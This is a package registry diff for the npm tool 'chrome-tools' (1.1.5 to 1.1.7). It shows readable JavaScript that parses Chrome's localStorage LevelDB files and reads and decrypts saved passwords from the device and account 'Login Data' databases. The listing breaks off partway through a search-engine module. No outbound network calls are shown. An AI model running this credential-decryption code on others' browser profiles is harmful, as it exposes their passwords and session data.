chrome-tools 1.1.5 → 1.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/dist/bin/cli.js +556 -1
  2. package/dist/src/core/browsers.d.ts +7 -3
  3. package/dist/src/core/browsers.js +186 -1
  4. package/dist/src/core/chrome.d.ts +6 -4
  5. package/dist/src/core/chrome.js +240 -1
  6. package/dist/src/core/crypto.d.ts +1 -1
  7. package/dist/src/core/crypto.js +113 -1
  8. package/dist/src/core/db.d.ts +4 -2
  9. package/dist/src/core/db.js +90 -1
  10. package/dist/src/core/keychain.d.ts +10 -0
  11. package/dist/src/core/keychain.js +191 -1
  12. package/dist/src/core/limit.d.ts +4 -0
  13. package/dist/src/core/limit.js +12 -0
  14. package/dist/src/core/platform/darwin.js +31 -1
  15. package/dist/src/core/platform/index.d.ts +4 -3
  16. package/dist/src/core/platform/index.js +69 -1
  17. package/dist/src/core/platform/linux.js +64 -1
  18. package/dist/src/core/platform/types.d.ts +3 -2
  19. package/dist/src/core/platform/types.js +1 -1
  20. package/dist/src/core/platform/win32.js +114 -1
  21. package/dist/src/core/sql.d.ts +2 -0
  22. package/dist/src/core/sql.js +4 -0
  23. package/dist/src/index.d.ts +2 -2
  24. package/dist/src/index.js +34 -1
  25. package/dist/src/modules/autofill.d.ts +8 -15
  26. package/dist/src/modules/autofill.js +170 -1
  27. package/dist/src/modules/bookmarks.d.ts +3 -5
  28. package/dist/src/modules/bookmarks.js +83 -1
  29. package/dist/src/modules/cookies.d.ts +4 -5
  30. package/dist/src/modules/cookies.js +157 -1
  31. package/dist/src/modules/downloads.d.ts +3 -5
  32. package/dist/src/modules/downloads.js +80 -1
  33. package/dist/src/modules/extensions.d.ts +3 -5
  34. package/dist/src/modules/extensions.js +71 -1
  35. package/dist/src/modules/history.d.ts +5 -10
  36. package/dist/src/modules/history.js +83 -1
  37. package/dist/src/modules/local-storage.d.ts +3 -5
  38. package/dist/src/modules/local-storage.js +455 -1
  39. package/dist/src/modules/passwords.d.ts +4 -5
  40. package/dist/src/modules/passwords.js +64 -1
  41. package/dist/src/modules/search-engines.d.ts +3 -5
  42. package/dist/src/modules/search-engines.js +38 -1
  43. package/dist/src/modules/top-sites.d.ts +3 -5
  44. package/dist/src/modules/top-sites.js +33 -1
  45. package/package.json +14 -12
@@ -1 +1,455 @@
1
- import{cpSync as e,existsSync as t,mkdtempSync as n,readdirSync as r,readFileSync as o,rmSync as f}from"node:fs";import{tmpdir as l}from"node:os";import{basename as u,join as i}from"node:path";import{resolveTargetProfiles as s}from"../core/chrome.js";export function getLocalStorage({chromeDir:e,profile:n,browser:r,origin:o,url:l,key:u,search:g,limit:p=100}={}){const y=s({chromeDir:e,profile:n,browser:r}),v=[],d=function(e){if(!e)return;try{return new URL(e).origin.toLowerCase()}catch{return e.toLowerCase()}}(l||o),b=u?.toLowerCase(),m=g?.toLowerCase();for(const e of y){const n=i(e.path,"Local Storage","leveldb");if(!t(n))continue;let r=null;try{r=c(n);const t=a(r);for(const n of t.values()){if(n.deleted||!n.value)continue;const t=h(n.key,n.value);if(!t)continue;const r={profile:e.name,origin:t.origin,key:t.key,value:t.value};if((!d||r.origin.toLowerCase().includes(d))&&(!b||r.key.toLowerCase().includes(b))){if(m){if(!`${r.origin}\n${r.key}\n${r.value}`.toLowerCase().includes(m))continue}v.push(r)}}}catch{}finally{r&&f(r,{recursive:!0,force:!0})}}return v.sort((e,t)=>e.profile.localeCompare(t.profile)||e.origin.localeCompare(t.origin)||e.key.localeCompare(t.key)),p?v.slice(0,parseInt(p,10)):v}function c(t){const r=n(i(l(),"chrome-local-storage-"));return e(t,r,{recursive:!0,force:!0,filter:e=>"LOCK"!==u(e)}),r}function a(e){const t=new Map,n=r(e).filter(e=>/\.(log|ldb|sst)$/i.test(e)).sort();for(const r of n){const n=i(e,r),f=o(n);if(/\.(ldb|sst)$/i.test(r))for(const e of d(f))g(t,e)}for(const r of n){if(!/\.log$/i.test(r))continue;const n=i(e,r),f=o(n);for(const e of y(f))g(t,e)}return t}function g(e,t){const n=t.key.toString("hex"),r=e.get(n);r&&r.sequence>t.sequence||e.set(n,t)}function h(e,t){if(e.length<3||95!==e[0])return null;const n=e.indexOf(0,1);if(-1===n)return null;const r=e.subarray(1,n).toString("utf8"),o=p(e.subarray(n+1)),f=p(t);return r&&o?{origin:r,key:o,value:f}:null}function p(e){if(0===e.length)return"";const t=e[0],n=e.subarray(1);return 0===t&&n.length%2==0?n.toString("utf16le"):1===t?n.toString("latin1"):e.toString("utf8")}function y(e){const t=[];let n=0,r=[];for(;n+7<=e.length;){const o=32768-n%32768;if(o<7){n+=o;continue}const f=e.readUInt16LE(n+4),l=e[n+6];if(n+=7,0===l&&0===f){n+=f;continue}if(f>e.length-n||f>o-7)break;const u=e.subarray(n,n+f);n+=f,1===l?(t.push(...v(u)),r=[]):2===l?r=[Buffer.from(u)]:3===l&&r.length>0?r.push(Buffer.from(u)):4===l&&r.length>0&&(r.push(Buffer.from(u)),t.push(...v(Buffer.concat(r))),r=[])}return t}function v(e){if(e.length<12)return[];const t=[],n=function(e,t){let n=0n;for(let r=0;r<8;r++)n|=BigInt(e[t+r]||0)<<BigInt(8*r);return n}(e,0),r=e.readUInt32LE(8);let o=12,f=0;for(;o<e.length&&f<r;){const r=e[o++],l=k(e,o);if(!l)break;o=l.nextOffset;const u=n+BigInt(f);if(1===r){const n=k(e,o);if(!n)break;o=n.nextOffset,t.push({key:l.value,value:n.value,sequence:u,deleted:!1})}else{if(0!==r)break;t.push({key:l.value,sequence:u,deleted:!0})}f++}return t}function d(e){const t=[];if(e.length<48)return t;if(15800726617472432983n!==e.readBigUInt64LE(e.length-8))return t;const n=e.subarray(e.length-48,e.length-8),r=w(n,0);if(!r)return t;const o=w(n,r.bytesRead);if(!o)return t;const f=b(e,o);if(!f)return t;for(const n of m(f)){const r=w(n.value,0);if(!r)continue;const o=b(e,r);if(o)for(const e of m(o)){if(e.key.length<8)continue;const n=e.key,r=n.length-8,o=n[r],f=L(n.subarray(r)),l=n.subarray(0,r);1===o?t.push({key:l,value:e.value,sequence:f,deleted:!1}):0===o&&t.push({key:l,sequence:f,deleted:!0})}}return t}function b(e,t){const n=t.offset+t.size;if(t.offset<0||t.size<0||n+5>e.length)return null;const r=e.subarray(t.offset,n),o=e[n];if(0===o)return r;if(1===o)try{return function(e){const t=I(e,0);if(!t)throw new Error("Invalid Snappy length");const n=Buffer.alloc(t.value);let r=t.nextOffset,o=0;for(;r<e.length&&o<n.length;){const t=e[r++],f=3&t;if(0===f){let f=t>>2;if(f<60)f+=1;else{const t=f-59;if(r+t>e.length)throw new Error("Invalid Snappy literal");f=1;for(let n=0;n<t;n++)f+=e[r++]<<8*n}if(r+f>e.length||o+f>n.length)throw new Error("Invalid Snappy literal length");e.copy(n,o,r,r+f),r+=f,o+=f;continue}let l,u;if(1===f){if(r>=e.length)throw new Error("Invalid Snappy copy");l=4+(t>>2&7),u=(224&t)<<3|e[r++]}else if(2===f){if(r+2>e.length)throw new Error("Invalid Snappy copy");l=1+(t>>2),u=e.readUInt16LE(r),r+=2}else{if(r+4>e.length)throw new Error("Invalid Snappy copy");l=1+(t>>2),u=e.readUInt32LE(r),r+=4}if(u<=0||u>o||o+l>n.length)throw new Error("Invalid Snappy offset");for(let e=0;e<l;e++)n[o]=n[o-u],o++}if(o!==n.length)throw new Error("Truncated Snappy stream");return n}(r)}catch{return null}return null}function m(e){if(e.length<4)return[];const t=e.readUInt32LE(e.length-4),n=4*t+4;if(t<1||n>e.length)return[];const r=e.length-n,o=[];let f=0,l=Buffer.alloc(0);for(;f<r;){const t=I(e,f);if(!t)break;f=t.nextOffset;const n=I(e,f);if(!n)break;f=n.nextOffset;const u=I(e,f);if(!u)break;if(f=u.nextOffset,t.value>l.length||f+n.value+u.value>r)break;const i=Buffer.concat([l.subarray(0,t.value),e.subarray(f,f+n.value)]);f+=n.value;const s=Buffer.from(e.subarray(f,f+u.value));f+=u.value,o.push({key:i,value:s}),l=i}return o}function w(e,t){const n=E(e,t);if(!n)return null;const r=E(e,n.nextOffset);return r?n.value>BigInt(Number.MAX_SAFE_INTEGER)||r.value>BigInt(Number.MAX_SAFE_INTEGER)?null:{offset:Number(n.value),size:Number(r.value),bytesRead:r.nextOffset-t}:null}function k(e,t){const n=I(e,t);if(!n)return null;const r=n.nextOffset+n.value;return r>e.length?null:{value:Buffer.from(e.subarray(n.nextOffset,r)),nextOffset:r}}function I(e,t){let n=0,r=0;for(let o=t;o<e.length&&o<t+5;o++){const t=e[o];if(n|=(127&t)<<r,!(128&t))return{value:n>>>0,nextOffset:o+1};r+=7}return null}function E(e,t){let n=0n,r=0n;for(let o=t;o<e.length&&o<t+10;o++){const t=e[o];if(n|=BigInt(127&t)<<r,!(128&t))return{value:n,nextOffset:o+1};r+=7n}return null}function L(e){let t=0n;for(let n=1;n<8;n++)t|=BigInt(e[n]||0)<<BigInt(8*(n-1));return t}export const _test={decodeLocalStorageString:p,parseLocalStorageRecord:h,parseLogRecords:y};
1
+ import { cpSync, existsSync, mkdtempSync, readdirSync, readFileSync, rmSync } from "node:fs";
2
+ import { tmpdir } from "node:os";
3
+ import { basename, join } from "node:path";
4
+ import { resolveTargetProfiles } from "../core/chrome.js";
5
+ import { limitResults } from "../core/limit.js";
6
+ const TABLE_MAGIC = 0xdb4775248b80fb57n;
7
+ const LOG_BLOCK_SIZE = 32768;
8
+ const VALUE_TYPE_DELETION = 0;
9
+ const VALUE_TYPE_VALUE = 1;
10
+ /**
11
+ * Reads localStorage key/value pairs from Chrome's Local Storage LevelDB store.
12
+ *
13
+ * @param options - Targeting and filtering options.
14
+ * @returns Array of localStorage entries.
15
+ */
16
+ export function getLocalStorage({ chromeDir, profilePath, profile, browser, origin, url, key, search, limit = 100, } = {}) {
17
+ const profiles = resolveTargetProfiles({ chromeDir, profilePath, profile, browser });
18
+ const results = [];
19
+ const originFilter = normalizeOriginFilter(url || origin);
20
+ const keyFilter = key?.toLowerCase();
21
+ const searchFilter = search?.toLowerCase();
22
+ for (const p of profiles) {
23
+ const dbPath = join(p.path, "Local Storage", "leveldb");
24
+ if (!existsSync(dbPath))
25
+ continue;
26
+ let tmpPath = null;
27
+ try {
28
+ tmpPath = copyLevelDBToTemp(dbPath);
29
+ const rawRecords = readLevelDBRecords(tmpPath);
30
+ for (const record of rawRecords.values()) {
31
+ if (record.deleted || !record.value)
32
+ continue;
33
+ const parsed = parseLocalStorageRecord(record.key, record.value);
34
+ if (!parsed)
35
+ continue;
36
+ const entry = {
37
+ profile: p.name,
38
+ origin: parsed.origin,
39
+ key: parsed.key,
40
+ value: parsed.value,
41
+ };
42
+ if (originFilter && !entry.origin.toLowerCase().includes(originFilter)) {
43
+ continue;
44
+ }
45
+ if (keyFilter && !entry.key.toLowerCase().includes(keyFilter)) {
46
+ continue;
47
+ }
48
+ if (searchFilter) {
49
+ const haystack = `${entry.origin}\n${entry.key}\n${entry.value}`.toLowerCase();
50
+ if (!haystack.includes(searchFilter))
51
+ continue;
52
+ }
53
+ results.push(entry);
54
+ }
55
+ }
56
+ catch {
57
+ // Skip profiles with unreadable or partially-corrupt LevelDB files.
58
+ }
59
+ finally {
60
+ if (tmpPath) {
61
+ rmSync(tmpPath, { recursive: true, force: true });
62
+ }
63
+ }
64
+ }
65
+ results.sort((a, b) => a.profile.localeCompare(b.profile) ||
66
+ a.origin.localeCompare(b.origin) ||
67
+ a.key.localeCompare(b.key));
68
+ return limitResults(results, limit);
69
+ }
70
+ function copyLevelDBToTemp(dbPath) {
71
+ const tmpPath = mkdtempSync(join(tmpdir(), "chrome-local-storage-"));
72
+ cpSync(dbPath, tmpPath, {
73
+ recursive: true,
74
+ force: true,
75
+ filter: (source) => basename(source) !== "LOCK",
76
+ });
77
+ return tmpPath;
78
+ }
79
+ function readLevelDBRecords(dbPath) {
80
+ const records = new Map();
81
+ const files = readdirSync(dbPath)
82
+ .filter((file) => /\.(log|ldb|sst)$/i.test(file))
83
+ .sort();
84
+ for (const file of files) {
85
+ const filePath = join(dbPath, file);
86
+ const data = readFileSync(filePath);
87
+ if (/\.(ldb|sst)$/i.test(file)) {
88
+ for (const record of parseTableRecords(data)) {
89
+ applyLevelDBRecord(records, record);
90
+ }
91
+ }
92
+ }
93
+ for (const file of files) {
94
+ if (!/\.log$/i.test(file))
95
+ continue;
96
+ const filePath = join(dbPath, file);
97
+ const data = readFileSync(filePath);
98
+ for (const record of parseLogRecords(data)) {
99
+ applyLevelDBRecord(records, record);
100
+ }
101
+ }
102
+ return records;
103
+ }
104
+ function applyLevelDBRecord(records, record) {
105
+ const id = record.key.toString("hex");
106
+ const existing = records.get(id);
107
+ if (existing && existing.sequence > record.sequence)
108
+ return;
109
+ records.set(id, record);
110
+ }
111
+ function parseLocalStorageRecord(rawKey, rawValue) {
112
+ if (rawKey.length < 3 || rawKey[0] !== 0x5f)
113
+ return null;
114
+ const separator = rawKey.indexOf(0x00, 1);
115
+ if (separator === -1)
116
+ return null;
117
+ const origin = rawKey.subarray(1, separator).toString("utf8");
118
+ const key = decodeLocalStorageString(rawKey.subarray(separator + 1));
119
+ const value = decodeLocalStorageString(rawValue);
120
+ if (!origin || !key)
121
+ return null;
122
+ return { origin, key, value };
123
+ }
124
+ function decodeLocalStorageString(data) {
125
+ if (data.length === 0)
126
+ return "";
127
+ const format = data[0];
128
+ const body = data.subarray(1);
129
+ if (format === 0x00 && body.length % 2 === 0) {
130
+ return body.toString("utf16le");
131
+ }
132
+ if (format === 0x01) {
133
+ return body.toString("latin1");
134
+ }
135
+ return data.toString("utf8");
136
+ }
137
+ function normalizeOriginFilter(input) {
138
+ if (!input)
139
+ return undefined;
140
+ try {
141
+ return new URL(input).origin.toLowerCase();
142
+ }
143
+ catch {
144
+ return input.toLowerCase();
145
+ }
146
+ }
147
+ function parseLogRecords(data) {
148
+ const records = [];
149
+ let offset = 0;
150
+ let fragments = [];
151
+ while (offset + 7 <= data.length) {
152
+ const blockRemaining = LOG_BLOCK_SIZE - (offset % LOG_BLOCK_SIZE);
153
+ if (blockRemaining < 7) {
154
+ offset += blockRemaining;
155
+ continue;
156
+ }
157
+ const length = data.readUInt16LE(offset + 4);
158
+ const type = data[offset + 6];
159
+ offset += 7;
160
+ if (type === 0 && length === 0) {
161
+ offset += length;
162
+ continue;
163
+ }
164
+ if (length > data.length - offset || length > blockRemaining - 7) {
165
+ break;
166
+ }
167
+ const payload = data.subarray(offset, offset + length);
168
+ offset += length;
169
+ if (type === 1) {
170
+ records.push(...parseWriteBatch(payload));
171
+ fragments = [];
172
+ }
173
+ else if (type === 2) {
174
+ fragments = [Buffer.from(payload)];
175
+ }
176
+ else if (type === 3 && fragments.length > 0) {
177
+ fragments.push(Buffer.from(payload));
178
+ }
179
+ else if (type === 4 && fragments.length > 0) {
180
+ fragments.push(Buffer.from(payload));
181
+ records.push(...parseWriteBatch(Buffer.concat(fragments)));
182
+ fragments = [];
183
+ }
184
+ }
185
+ return records;
186
+ }
187
+ function parseWriteBatch(batch) {
188
+ if (batch.length < 12)
189
+ return [];
190
+ const records = [];
191
+ const startSequence = readUInt64LE(batch, 0);
192
+ const count = batch.readUInt32LE(8);
193
+ let offset = 12;
194
+ let seen = 0;
195
+ while (offset < batch.length && seen < count) {
196
+ const tag = batch[offset++];
197
+ const keyPart = readLengthPrefixedSlice(batch, offset);
198
+ if (!keyPart)
199
+ break;
200
+ offset = keyPart.nextOffset;
201
+ const sequence = startSequence + BigInt(seen);
202
+ if (tag === VALUE_TYPE_VALUE) {
203
+ const valuePart = readLengthPrefixedSlice(batch, offset);
204
+ if (!valuePart)
205
+ break;
206
+ offset = valuePart.nextOffset;
207
+ records.push({ key: keyPart.value, value: valuePart.value, sequence, deleted: false });
208
+ }
209
+ else if (tag === VALUE_TYPE_DELETION) {
210
+ records.push({ key: keyPart.value, sequence, deleted: true });
211
+ }
212
+ else {
213
+ break;
214
+ }
215
+ seen++;
216
+ }
217
+ return records;
218
+ }
219
+ function parseTableRecords(data) {
220
+ const records = [];
221
+ if (data.length < 48)
222
+ return records;
223
+ const magic = data.readBigUInt64LE(data.length - 8);
224
+ if (magic !== TABLE_MAGIC)
225
+ return records;
226
+ const footer = data.subarray(data.length - 48, data.length - 8);
227
+ const metaHandle = readBlockHandle(footer, 0);
228
+ if (!metaHandle)
229
+ return records;
230
+ const indexHandle = readBlockHandle(footer, metaHandle.bytesRead);
231
+ if (!indexHandle)
232
+ return records;
233
+ const indexBlock = readBlock(data, indexHandle);
234
+ if (!indexBlock)
235
+ return records;
236
+ for (const indexEntry of parseBlockEntries(indexBlock)) {
237
+ const dataHandle = readBlockHandle(indexEntry.value, 0);
238
+ if (!dataHandle)
239
+ continue;
240
+ const dataBlock = readBlock(data, dataHandle);
241
+ if (!dataBlock)
242
+ continue;
243
+ for (const entry of parseBlockEntries(dataBlock)) {
244
+ if (entry.key.length < 8)
245
+ continue;
246
+ const internalKey = entry.key;
247
+ const tagOffset = internalKey.length - 8;
248
+ const type = internalKey[tagOffset];
249
+ const sequence = readSequence(internalKey.subarray(tagOffset));
250
+ const key = internalKey.subarray(0, tagOffset);
251
+ if (type === VALUE_TYPE_VALUE) {
252
+ records.push({ key, value: entry.value, sequence, deleted: false });
253
+ }
254
+ else if (type === VALUE_TYPE_DELETION) {
255
+ records.push({ key, sequence, deleted: true });
256
+ }
257
+ }
258
+ }
259
+ return records;
260
+ }
261
+ function readBlock(data, handle) {
262
+ const trailerOffset = handle.offset + handle.size;
263
+ if (handle.offset < 0 || handle.size < 0 || trailerOffset + 5 > data.length) {
264
+ return null;
265
+ }
266
+ const block = data.subarray(handle.offset, trailerOffset);
267
+ const compressionType = data[trailerOffset];
268
+ if (compressionType === 0) {
269
+ return block;
270
+ }
271
+ if (compressionType === 1) {
272
+ try {
273
+ return snappyUncompress(block);
274
+ }
275
+ catch {
276
+ return null;
277
+ }
278
+ }
279
+ return null;
280
+ }
281
+ function parseBlockEntries(block) {
282
+ if (block.length < 4)
283
+ return [];
284
+ const restartCount = block.readUInt32LE(block.length - 4);
285
+ const restartsSize = restartCount * 4 + 4;
286
+ if (restartCount < 1 || restartsSize > block.length)
287
+ return [];
288
+ const entriesEnd = block.length - restartsSize;
289
+ const entries = [];
290
+ let offset = 0;
291
+ let previousKey = Buffer.alloc(0);
292
+ while (offset < entriesEnd) {
293
+ const shared = readVarint32(block, offset);
294
+ if (!shared)
295
+ break;
296
+ offset = shared.nextOffset;
297
+ const nonShared = readVarint32(block, offset);
298
+ if (!nonShared)
299
+ break;
300
+ offset = nonShared.nextOffset;
301
+ const valueLength = readVarint32(block, offset);
302
+ if (!valueLength)
303
+ break;
304
+ offset = valueLength.nextOffset;
305
+ if (shared.value > previousKey.length || offset + nonShared.value + valueLength.value > entriesEnd) {
306
+ break;
307
+ }
308
+ const key = Buffer.concat([
309
+ previousKey.subarray(0, shared.value),
310
+ block.subarray(offset, offset + nonShared.value),
311
+ ]);
312
+ offset += nonShared.value;
313
+ const value = Buffer.from(block.subarray(offset, offset + valueLength.value));
314
+ offset += valueLength.value;
315
+ entries.push({ key, value });
316
+ previousKey = key;
317
+ }
318
+ return entries;
319
+ }
320
+ function readBlockHandle(data, offset) {
321
+ const blockOffset = readVarint64(data, offset);
322
+ if (!blockOffset)
323
+ return null;
324
+ const blockSize = readVarint64(data, blockOffset.nextOffset);
325
+ if (!blockSize)
326
+ return null;
327
+ if (blockOffset.value > BigInt(Number.MAX_SAFE_INTEGER) || blockSize.value > BigInt(Number.MAX_SAFE_INTEGER)) {
328
+ return null;
329
+ }
330
+ return {
331
+ offset: Number(blockOffset.value),
332
+ size: Number(blockSize.value),
333
+ bytesRead: blockSize.nextOffset - offset,
334
+ };
335
+ }
336
+ function readLengthPrefixedSlice(data, offset) {
337
+ const length = readVarint32(data, offset);
338
+ if (!length)
339
+ return null;
340
+ const end = length.nextOffset + length.value;
341
+ if (end > data.length)
342
+ return null;
343
+ return { value: Buffer.from(data.subarray(length.nextOffset, end)), nextOffset: end };
344
+ }
345
+ function readVarint32(data, offset) {
346
+ let result = 0;
347
+ let shift = 0;
348
+ for (let i = offset; i < data.length && i < offset + 5; i++) {
349
+ const byte = data[i];
350
+ result |= (byte & 0x7f) << shift;
351
+ if ((byte & 0x80) === 0) {
352
+ return { value: result >>> 0, nextOffset: i + 1 };
353
+ }
354
+ shift += 7;
355
+ }
356
+ return null;
357
+ }
358
+ function readVarint64(data, offset) {
359
+ let result = 0n;
360
+ let shift = 0n;
361
+ for (let i = offset; i < data.length && i < offset + 10; i++) {
362
+ const byte = data[i];
363
+ result |= BigInt(byte & 0x7f) << shift;
364
+ if ((byte & 0x80) === 0) {
365
+ return { value: result, nextOffset: i + 1 };
366
+ }
367
+ shift += 7n;
368
+ }
369
+ return null;
370
+ }
371
+ function readUInt64LE(data, offset) {
372
+ let value = 0n;
373
+ for (let i = 0; i < 8; i++) {
374
+ value |= BigInt(data[offset + i] || 0) << BigInt(i * 8);
375
+ }
376
+ return value;
377
+ }
378
+ function readSequence(tagBytes) {
379
+ let sequence = 0n;
380
+ for (let i = 1; i < 8; i++) {
381
+ sequence |= BigInt(tagBytes[i] || 0) << BigInt((i - 1) * 8);
382
+ }
383
+ return sequence;
384
+ }
385
+ function snappyUncompress(input) {
386
+ const expectedLength = readVarint32(input, 0);
387
+ if (!expectedLength)
388
+ throw new Error("Invalid Snappy length");
389
+ const output = Buffer.alloc(expectedLength.value);
390
+ let ip = expectedLength.nextOffset;
391
+ let op = 0;
392
+ while (ip < input.length && op < output.length) {
393
+ const tag = input[ip++];
394
+ const type = tag & 0x03;
395
+ if (type === 0) {
396
+ let literalLength = tag >> 2;
397
+ if (literalLength < 60) {
398
+ literalLength += 1;
399
+ }
400
+ else {
401
+ const bytesToRead = literalLength - 59;
402
+ if (ip + bytesToRead > input.length)
403
+ throw new Error("Invalid Snappy literal");
404
+ literalLength = 1;
405
+ for (let i = 0; i < bytesToRead; i++) {
406
+ literalLength += input[ip++] << (i * 8);
407
+ }
408
+ }
409
+ if (ip + literalLength > input.length || op + literalLength > output.length) {
410
+ throw new Error("Invalid Snappy literal length");
411
+ }
412
+ input.copy(output, op, ip, ip + literalLength);
413
+ ip += literalLength;
414
+ op += literalLength;
415
+ continue;
416
+ }
417
+ let copyLength;
418
+ let copyOffset;
419
+ if (type === 1) {
420
+ if (ip >= input.length)
421
+ throw new Error("Invalid Snappy copy");
422
+ copyLength = ((tag >> 2) & 0x07) + 4;
423
+ copyOffset = ((tag & 0xe0) << 3) | input[ip++];
424
+ }
425
+ else if (type === 2) {
426
+ if (ip + 2 > input.length)
427
+ throw new Error("Invalid Snappy copy");
428
+ copyLength = (tag >> 2) + 1;
429
+ copyOffset = input.readUInt16LE(ip);
430
+ ip += 2;
431
+ }
432
+ else {
433
+ if (ip + 4 > input.length)
434
+ throw new Error("Invalid Snappy copy");
435
+ copyLength = (tag >> 2) + 1;
436
+ copyOffset = input.readUInt32LE(ip);
437
+ ip += 4;
438
+ }
439
+ if (copyOffset <= 0 || copyOffset > op || op + copyLength > output.length) {
440
+ throw new Error("Invalid Snappy offset");
441
+ }
442
+ for (let i = 0; i < copyLength; i++) {
443
+ output[op] = output[op - copyOffset];
444
+ op++;
445
+ }
446
+ }
447
+ if (op !== output.length)
448
+ throw new Error("Truncated Snappy stream");
449
+ return output;
450
+ }
451
+ export const _test = {
452
+ decodeLocalStorageString,
453
+ parseLocalStorageRecord,
454
+ parseLogRecords,
455
+ };
@@ -1,8 +1,7 @@
1
- export interface PasswordOptions {
2
- chromeDir?: string;
3
- profile?: string;
4
- browser?: string;
1
+ import { type ResolveProfilesOptions } from "../core/chrome.js";
2
+ export interface PasswordOptions extends ResolveProfilesOptions {
5
3
  search?: string;
4
+ decryptionKey?: Buffer;
6
5
  }
7
6
  /** Which on-disk store a password came from. */
8
7
  export type PasswordSource = "device" | "account";
@@ -24,4 +23,4 @@ export interface PasswordEntry {
24
23
  * @param options - Options for profile selection and filtering.
25
24
  * @returns Array of decrypted password entries.
26
25
  */
27
- export declare function getPasswords({ chromeDir, profile, search, browser }?: PasswordOptions): PasswordEntry[];
26
+ export declare function getPasswords({ chromeDir, profilePath, profile, search, browser, decryptionKey, }?: PasswordOptions): PasswordEntry[];
@@ -1 +1,64 @@
1
- import{join as r}from"node:path";import{resolveTargetProfiles as o}from"../core/chrome.js";import{deriveEncryptionKey as e,decryptValue as s}from"../core/platform/index.js";import{chromeTimeToDate as t}from"../core/crypto.js";import{queryDatabase as a,tableExists as c}from"../core/db.js";const n=[{file:"Login Data",source:"device"},{file:"Login Data For Account",source:"account"}];export function getPasswords({chromeDir:i,profile:u,search:l,browser:f}={}){const m=o({chromeDir:i,profile:u,browser:f}),p=e(),d=[],_=l?.toLowerCase();for(const o of m)for(const e of n){const n=r(o.path,e.file);try{if(!c(n,"logins"))continue;const r=a(n,"SELECT origin_url, username_value, password_value, date_last_used\n FROM logins ORDER BY origin_url");for(const a of r){const r={profile:o.name,source:e.source,url:a.origin_url,username:a.username_value,password:s(a.password_value,p),lastUsed:t(a.date_last_used||0)};(!_||r.url&&r.url.toLowerCase().includes(_)||r.username&&r.username.toLowerCase().includes(_))&&d.push(r)}}catch(r){d.push({profile:o.name,source:e.source,error:r.message})}}return d.filter(r=>!r.error)}
1
+ import { join } from "node:path";
2
+ import { resolveTargetProfiles } from "../core/chrome.js";
3
+ import { deriveEncryptionKey, decryptValue } from "../core/platform/index.js";
4
+ import { chromeTimeToDate } from "../core/crypto.js";
5
+ import { queryDatabase } from "../core/db.js";
6
+ /**
7
+ * Chrome stores saved passwords in two SQLite files per profile:
8
+ * - "Login Data" — passwords kept on this device only.
9
+ * - "Login Data For Account" — passwords synced to the signed-in Google Account.
10
+ * Both share the same `logins` schema and v10 encryption, so we read both and
11
+ * tag each entry with its source.
12
+ */
13
+ const PASSWORD_STORES = [
14
+ { file: "Login Data", source: "device" },
15
+ { file: "Login Data For Account", source: "account" },
16
+ ];
17
+ /**
18
+ * Extracts and decrypts saved passwords from Chrome's password databases.
19
+ * Reads both the device-local and account-synced stores, labelling each entry
20
+ * with its `source` (no de-duplication across the two).
21
+ *
22
+ * @param options - Options for profile selection and filtering.
23
+ * @returns Array of decrypted password entries.
24
+ */
25
+ export function getPasswords({ chromeDir, profilePath, profile, search, browser, decryptionKey, } = {}) {
26
+ const userDataDir = profilePath || chromeDir;
27
+ const profiles = resolveTargetProfiles({ chromeDir, profilePath, profile, browser });
28
+ // Pass user-data dir so Windows reads Local State from the same tree as the profiles.
29
+ let derivedKey = decryptionKey;
30
+ const results = [];
31
+ const term = search?.toLowerCase();
32
+ for (const p of profiles) {
33
+ for (const store of PASSWORD_STORES) {
34
+ const dbPath = join(p.path, store.file);
35
+ try {
36
+ const rows = queryDatabase(dbPath, `SELECT origin_url, username_value, password_value, date_last_used
37
+ FROM logins ORDER BY origin_url`);
38
+ for (const row of rows) {
39
+ const entry = {
40
+ profile: p.name,
41
+ source: store.source,
42
+ url: row.origin_url,
43
+ username: row.username_value,
44
+ password: row.password_value?.length > 0
45
+ ? decryptValue(row.password_value, derivedKey ??= deriveEncryptionKey(userDataDir, browser))
46
+ : "",
47
+ lastUsed: chromeTimeToDate(row.date_last_used || 0),
48
+ };
49
+ if (term) {
50
+ if (!(entry.url && entry.url.toLowerCase().includes(term)) &&
51
+ !(entry.username && entry.username.toLowerCase().includes(term))) {
52
+ continue;
53
+ }
54
+ }
55
+ results.push(entry);
56
+ }
57
+ }
58
+ catch {
59
+ // Skip missing or unreadable stores and continue with the others.
60
+ }
61
+ }
62
+ }
63
+ return results;
64
+ }
@@ -1,7 +1,5 @@
1
- export interface SearchEngineOptions {
2
- chromeDir?: string;
3
- profile?: string;
4
- browser?: string;
1
+ import { type ResolveProfilesOptions } from "../core/chrome.js";
2
+ export interface SearchEngineOptions extends ResolveProfilesOptions {
5
3
  }
6
4
  export interface SearchEngineEntry {
7
5
  profile: string;
@@ -20,4 +18,4 @@ export interface SearchEngineEntry {
20
18
  * @param options - Targeting options.
21
19
  * @returns Array of search engine entries.
22
20
  */
23
- export declare function getSearchEngines({ chromeDir, profile, browser }?: SearchEngineOptions): SearchEngineEntry[];
21
+ export declare function getSearchEngines({ chromeDir, profilePath, profile, browser, }?: SearchEngineOptions): SearchEngineEntry[];
@@ -1 +1,38 @@
1
- import{join as r}from"node:path";import{resolveTargetProfiles as o}from"../core/chrome.js";import{queryDatabase as e,tableExists as i}from"../core/db.js";export function getSearchEngines({chromeDir:t,profile:s,browser:n}={}){const c=o({chromeDir:t,profile:s,browser:n}),a=[];for(const o of c){const t=r(o.path,"Web Data");try{if(!i(t,"keywords"))continue;const r=e(t,"SELECT id, short_name, keyword, url, suggestions_url,\n favicon_url, prepopulate_id, is_active\n FROM keywords ORDER BY short_name");for(const e of r)a.push({profile:o.name,id:e.id,name:e.short_name||"",keyword:e.keyword||"",url:e.url||"",suggestionsUrl:e.suggestions_url||"",faviconUrl:e.favicon_url||"",isDefault:1===e.prepopulate_id,isActive:1===e.is_active})}catch{}}return a}
1
+ import { join } from "node:path";
2
+ import { resolveTargetProfiles } from "../core/chrome.js";
3
+ import { queryDatabase } from "../core/db.js";
4
+ /**
5
+ * Retrieves search engines configured in Chrome from the Web Data database.
6
+ *
7
+ * @param options - Targeting options.
8
+ * @returns Array of search engine entries.
9
+ */
10
+ export function getSearchEngines({ chromeDir, profilePath, profile, browser, } = {}) {
11
+ const profiles = resolveTargetProfiles({ chromeDir, profilePath, profile, browser });
12
+ const results = [];
13
+ for (const p of profiles) {
14
